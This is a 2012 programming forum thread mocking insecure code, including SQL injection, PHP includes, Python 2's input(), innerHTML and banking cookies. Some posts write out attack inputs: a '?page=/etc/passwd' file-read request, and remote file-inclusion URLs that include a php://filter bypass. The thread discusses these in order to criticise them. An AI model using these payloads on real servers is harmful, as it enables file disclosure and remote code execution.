Coding Horrors: You can gather all your technical debt into one easy framework!

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > The Cavern of COBOL > Coding Horrors: You can gather all your technical debt into one easy framework!

«‹›1503 »

New Yorp New Yorp: Jul 18, 2003; Only in Kenya.; Pillbug

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

Well, we're talking about SQL as if it's a product by a company, like SQLSoft SuperSQL 3.73. It's not. SQL is a query language specification that's implemented in different ways by different vendors.

# ? Oct 13, 2012 16:20

Adbot: ADBOT LOVES YOU

# ? May 27, 2024 13:08

Markovnikov: Nov 6, 2010

I think I sort of get it. Could you get into the same sort of situation with another language? Like if you try to use Python's exec() in silly ways.

# ? Oct 13, 2012 16:23

nielsm: Jun 1, 2009

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

Those making the (early) DBMS would probably still have provided some sort of commandline for querying and manipulating the database, and stupid developers would probably end up calling that commandline interface in some terrible way even if it wasn't an official API.

Markovnikov posted:

I think I sort of get it. Could you get into the same sort of situation with another language? Like if you try to use Python's exec() in silly ways.

Another PHP classic:

PHP code:

include $_REQUEST['page'];

Now ask the webserver for shitcode.php?page=/etc/passwd.

# ? Oct 13, 2012 16:25

Zombywuf: Mar 29, 2008

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

Because no-one would ever do dumb interpolation with a binary protocol?

Mustach posted:

Maybe they used a crit-bit tree. (probably not)

No, they didn't.

# ? Oct 13, 2012 16:28

ephphatha: Dec 18, 2009

Markovnikov posted:

I think I sort of get it. Could you get into the same sort of situation with another language? Like if you try to use Python's exec() in silly ways.

Yep, if you write a python 2 app that ever uses input(), people can feed python code and it'll be executed. (input() is a wrapper around eval(raw_input()) or something silly like that).

# ? Oct 13, 2012 16:27

Zombywuf: Mar 29, 2008

Markovnikov posted:

I think I sort of get it. Could you get into the same sort of situation with another language? Like if you try to use Python's exec() in silly ways.

Or any other case where you take user input that is interpreted somehow. Format strings for example.

# ? Oct 13, 2012 16:28

Look Around You: Jan 19, 2009

e: redacted

# ? Oct 13, 2012 16:30

Markovnikov: Nov 6, 2010

Ephphatha posted:

Yep, if you write a python 2 app that ever uses input(), people can feed python code and it'll be executed. (input() is a wrapper around eval(raw_input()) or something silly like that).

I think I tried that in interactive mode a while ago and couldn't get Python to gently caress up. It seemed to properly escape sequences in strings and would choke on/error out stuff that wasn't directly a string.

# ? Oct 13, 2012 16:31

Jewel: May 2, 2009

Markovnikov posted:

I think I tried that in interactive mode a while ago and couldn't get Python to gently caress up. It seemed to properly escape sequences in strings and would choke on/error out stuff that wasn't directly a string.

It's definitely bad. Ephphatha is right, it's literally just eval(raw_input()), so of course it'll still error stuff, but if you do something like this, well...

(Crossposting from another thread from a few months back)

# ? Oct 13, 2012 17:41

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

nielsm posted:

Another PHP classic:
PHP code:
include $_REQUEST['page'];
Now ask the webserver for shitcode.php?page=/etc/passwd.

Even better: shitcode.php?page=http://mysite.com/mycode.txt. That PHP server downloaded and executed the PHP code inside that file. They "fixed" this by disallowing http/https/ftp protocols (the allow_url_include setting, WHY IS THAT A SETTING?) but forgot to disable it for php:// URLs, so you can still exploit it if you do php://filter/resource=http://mysite.com/mycode.txt.

nielsm posted:

Those making the (early) DBMS would probably still have provided some sort of commandline for querying and manipulating the database, and stupid developers would probably end up calling that commandline interface in some terrible way even if it wasn't an official API.

But then it's not SQL injection anymore, so problem solved!

(Yeah, Verizon had a ton of these where bugs were transformed from one kind to another: "OK, fixed the SQL injection" "You introduced a shell injection!" "File a new bug, please. SQL injection is fixed")

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

For the longest time, sending your logic and data in SQL separately didn't exist. It was meant to be more of a report and data entry language, where the guy writing SQL statements was entering the data manually.

I don't think the strings are the problem. The big reason for horrors is that it's just that PHP doesn't easily support prepared statements in MySQL.

Markovnikov posted:

I think I tried that in interactive mode a while ago and couldn't get Python to gently caress up. It seemed to properly escape sequences in strings and would choke on/error out stuff that wasn't directly a string.

code:

>>> password = "butts"
>>> repr(input("Enter your favorite number! "))
Enter your favorite number! password
"butts"

# ? Oct 13, 2012 17:46

Vanadium: Jan 8, 2005

I feel the same way about document.write/innerHTML. Pretend that html is a binary file format and create DOM nodes and hook them into the tree and suddenly html escaping stops being a thing that you can even get wrong. :colbert:

# ? Oct 13, 2012 20:53

Vanadium: Jan 8, 2005

Did I mention I'm really bad at shell scripting too?

# ? Oct 13, 2012 20:55

Wheany: Mar 17, 2006; Spinya^{ha^{ha^haha}ha}ha_{ha_{ha_haha}ha}ha!; Doctor Rope

Vanadium posted:

I feel the same way about document.write/innerHTML. Pretend that html is a binary file format and create DOM nodes and hook them into the tree and suddenly html escaping stops being a thing that you can even get wrong.

Use innerHTML when you have a static piece of HTML code you want to insert somewhere. Use textContent/innerText when you want to change the text in an existing element.

Never use document.write.

# ? Oct 13, 2012 21:08

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

Vanadium posted:

I feel the same way about document.write/innerHTML. Pretend that html is a binary file format and create DOM nodes and hook them into the tree and suddenly html escaping stops being a thing that you can even get wrong.

It's handy to have the parser on-hand. I don't know of any other way to parse a snippet of HTML other than creating a document fragment, setting innerHTML, and then chomping the resulting DOM. If anybody knows a better way, I'd be happy to hear it.

I'm so looking forward to DOM Subtrees.

# ? Oct 13, 2012 21:14

Funking Giblet: Jun 28, 2004; Jiglightful!

Wheany posted:

Never use document.write.

It has it's place, but it's very easy to abuse. (and if you are worried about reflows with document.write, you should worry anyway)

Funking Giblet fucked around with this message at 21:59 on Oct 13, 2012

# ? Oct 13, 2012 21:56

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

Funking Giblet posted:

It has it's place, but it's very easy to abuse.

Something that does something different depending on whether the page is reloaded is not a thing you should be using. Firefox also goes into a giant slow path whenever document.write is used.

# ? Oct 13, 2012 22:15

Plorkyeran: Mar 22, 2007; To Escape The Shackles Of The Old Forums, We Must Reject The Tribal Negativity He Endorsed

Suspicious Dish posted:

I don't think the strings are the problem. The big reason for horrors is that it's just that PHP doesn't easily support prepared statements in MySQL.

It's supported them for years. The horror here is that people still use PHP 4 (or use PHP 5 as if it was PHP 4).

# ? Oct 14, 2012 00:07

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

Plorkyeran posted:

It's supported them for years. The horror here is that people still use PHP 4 (or use PHP 5 as if it was PHP 4).

Where? I can't find any API for it.

# ? Oct 14, 2012 00:12

nielsm: Jun 1, 2009

Suspicious Dish posted:

Where? I can't find any API for it.

http://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php

# ? Oct 14, 2012 00:15

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

Ah, I was checking the old mysql functional interface plugin thingy.

# ? Oct 14, 2012 01:03

Frozen Peach: Aug 25, 2004; garbage man from a garbage can

If you're on PHP5, you should really be using PDO if at all possible.

Unfortunately for me, PDO is horribly broken on Linux trying to talk to MSSQL using the SQL Native Driver. :downs:

# ? Oct 14, 2012 07:51

Progressive JPEG: Feb 19, 2003

Shame Boner posted:

Rather than argue with the boss about why this was check was unnecessary and stupid, I rewrote the script to do something like use tree to list all directories on the filesystem and did a line-by-line pattern match on them. It'd do the same check in about 6 seconds.

FWIW, this could also work to speed things up?:

code:

find / -type d -name " "

Although if you'll be doing several of these scans, then your aforementioned script may allow you to do all your checks in a single pass. But like you said it'd still be unnecessary and stupid. If someone's putting arbitrary files on your filesystem then all this tells you is whether they were sloppy enough to leave correctly-formatted breadcrumbs behind.

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

At first I was just thinking this would lead to injection issues with whatever binary delimiter they used, but now I think this would be fairly effective at convincing people to stop thinking "well SQL queries are just strings so I'll just make em from hand myself! :cool:

", at which point they might even use a semi-intelligent library for query construction.

"full disclosure posted:

*Description of Issue*
Santander online banking unnecessarily stores sensitive information within cookies. Depending on which areas of online
banking the user visits this information may include the following:
* Full name
* PAN (Credit card number)
* Bank account number and sort code
* Alias
* UserID

Reading this is like watching a trainwreck that just gets worse with every mixed metaphor.

# ? Oct 15, 2012 16:27

Hammerite: Mar 9, 2007; And you don't remember what I said here, either, but it was pompous and stupid.; Jade Ear Joe

beoba posted:

Reading this is like watching a trainwreck that just gets worse with every mixed metaphor.

Based on my experiences Santander are pretty incompetent in a lot of areas, not just IT security.

# ? Oct 15, 2012 16:31

tef: May 30, 2004; -> some l-system crap ->

let's build well formed xml from string templates!

http://webgun.io/articles/templated-webhooks

it's ok, everyone uses utf-8 and character escaping isn't a real world issue

# ? Oct 15, 2012 16:36

Zombywuf: Mar 29, 2008

Hammerite posted:

Based on my experiences Santander are pretty incompetent in a lot of areas, not just IT security.

It's cool though. In Europe they now have to provide a notice that they're storing all this information insecurely in a cookie.

# ? Oct 15, 2012 17:20

Suspicious Dish: Sep 24, 2011; 2020 is the year of linux on the desktop, bro; Fun Shoe

tef posted:

let's build well formed xml from string templates!

http://webgun.io/articles/templated-webhooks

it's ok, everyone uses utf-8 and character escaping isn't a real world issue

I wonder what would happen if your name has a strange character in it like a " or &. Those do exist, by the way.

# ? Oct 15, 2012 17:54

Impotence: Nov 8, 2010; Lipstick Apathy

So I saw a homegrown PHP CMS today.

For some reason, if your password is like "000015", you can only log in with "15" as the password, and 000015 is "invalid password" but strings work as expected

What the hell would cause this?

# ? Oct 15, 2012 18:50

Frozen Peach: Aug 25, 2004; garbage man from a garbage can

Biowarfare posted:

So I saw a homegrown PHP CMS today.

For some reason, if your password is like "000015", you can only log in with "15" as the password, and 000015 is "invalid password" but strings work as expected

What the hell would cause this?

Probably using == instead of ===?

# ? Oct 15, 2012 18:55

Wozbo: Jul 5, 2010

Looks like the string is being coerced to a number 'automagically', therefore the 0000 is being dropped.

# ? Oct 15, 2012 19:01

seiken: Feb 7, 2005; hah ha ha

Look Around You posted:

The fact that SQL queries even are strings in the first place is pretty horrible. Using a binary API like most other things would be exponentially better.

Programs in most languages are just strings but the difference is people don't usually build C source code by concatenating arbitrary user input together.

seiken fucked around with this message at 20:21 on Oct 15, 2012

# ? Oct 15, 2012 20:18

Deus Rex: Mar 5, 2005

Suspicious Dish posted:

I wonder what would happen if your name has a strange character in it like a " or &. Those do exist, by the way.

it seems trivial for the template engine to escape these to the entities (& quot; and & amp;)

# ? Oct 15, 2012 21:51

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Suspicious Dish posted:

I wonder what would happen if your name has a strange character in it like a " or &. Those do exist, by the way.

I was thinking about changing part of my name to an &

Yeah, partly so I could go all Bobby Tables on different services I use.

# ? Oct 15, 2012 21:58

Golbez: Oct 9, 2002; 1 2 3!
If you want to take a shot at me get in line, line
1 2 3!
Baby, I've had all my shots and I'm fine

Munkeymon posted:

I was thinking about changing part of my name to an &

Yeah, partly so I could go all Bobby Tables on different services I use.

Not unprecedented.

# ? Oct 15, 2012 22:09

Look Around You: Jan 19, 2009

seiken posted:

Programs in most languages are just strings but the difference is people don't usually build C source code by concatenating arbitrary user input together.

Well yeah that was kind of my point. Instead of a glorified eval, I'm thinking that something along the lines of a strict library function call interface.

As in instead of

code:

query: string = "SELECT * FROM USERS WHERE NAME='test'"
sql_query(db, query)

You'd only have an API that presents as something along the lines of ORMs do and you couldn't directly execute queries by passing raw query strings.

It'd probably be pretty impractical though.

e: To clarify, I mean that all of the actual actions would be library calls and the data parameters that you're giving it would be strings.

Look Around You fucked around with this message at 03:42 on Oct 16, 2012

# ? Oct 16, 2012 03:39

Bunny Cuddlin: Dec 12, 2004

Look Around You posted:

Well yeah that was kind of my point. Instead of a glorified eval, I'm thinking that something along the lines of a strict library function call interface.

As in instead of
code:
query: string = "SELECT * FROM USERS WHERE NAME='test'"
sql_query(db, query)
You'd only have an API that presents as something along the lines of ORMs do and you couldn't directly execute queries by passing raw query strings.

It'd probably be pretty impractical though.

e: To clarify, I mean that all of the actual actions would be library calls and the data parameters that you're giving it would be strings.

yea, take your idea to its logical conclusion and you end up with SQL

# ? Oct 16, 2012 04:00

Look Around You: Jan 19, 2009

Bunny Cuddlin posted:

yea, take your idea to its logical conclusion and you end up with SQL

Yeah, exactly. I just wish it weren't as easy to concatenate queries out of strings to make it less likely that people just throw poo poo together into queries but I know that it's sort of not feasible.

# ? Oct 16, 2012 04:02

Munkeymon: Aug 14, 2003; Motherfucker's got an
armor-piercing crowbar! Rigoddamndicu𝜆ous.

Doctor w-rw-rw- posted:

One thing that is related but not quite code: users don't understand what it means to develop an application.

Release a new feature while improving stability? "Ok but you should have been working on making it stable instead and you should have done it better 1 star"
Make it more stable? "I can't click then hit back to not pay like I used to!!!!!!! 1 star make it free again!!!"
Have a minor issue that doesn't mean much? "This app is awful it used to be better and why doesn't it have {FEATURE} this app sucks uninstalled"

Read the Planetside 2 thread in games to watch people poo poo themselves throw it at the developers over bugs in a beta test, where - wait for it - they're being asked to find bugs. Granted, there have been some recurring bugs that indicate they don't have great regression testing, but this is the games industry, so I'm not at all surprised based on stories I've read.

# ? Oct 16, 2012 04:17

Pythagoras a trois: Feb 19, 2004; I have a lot of points to make and I will make them later.

tef posted:

I was once informed of a hash table, where to store a key/value pair, they first concatenated the key to the value (they were both strings), and then to lookup, it did a prefix search over the hash table entries.

If all you have is a hammer, every problem looks like a nail. Or a prefix search.

I'm very new to coding, but I'm loving this thread.

# ? Oct 16, 2012 04:39

Danith: May 20, 2006; I've lurked here for years

Is it a common thing to store data that will be used hours later, from a different procedure, running from another machine, in a temp table? I had to restart our SQL services on a machine and now a package from another machine is failing because there is no temp table to grab data from and I have no ideal what populates that data in the first place

Coding horror?

# ? Oct 16, 2012 07:25

Adbot: ADBOT LOVES YOU

# ? May 27, 2024 13:08

The Gripper: Sep 14, 2004; i am winner

Doctor w-rw-rw- posted:

One thing that is related but not quite code: users don't understand what it means to develop an application.

I've got a fairly niche app on the Android market and all the reviews are bad and frustrating to read. People who buy it and have no problems don't tend to write reviews, there are no glaring bugs in it so the reviews aren't based on performance or suitability, every single one is along the lines of:

"Great app, but it should be on iPad too. 1 star."
"I bought this and it doesn't do <something it isn't designed for>. 2 stars."
"Switched to an iPhone and can't use the app? Scam! 1 star."

There's no way to purge lovely reviews off either so it's burned to the ground for life because of these retards.

# ? Oct 16, 2012 10:17

The Something Awful Forums > Discussion > Serious Hardware/Software Crap > The Cavern of COBOL > Coding Horrors: You can gather all your technical debt into one easy framework!

«‹›1503 »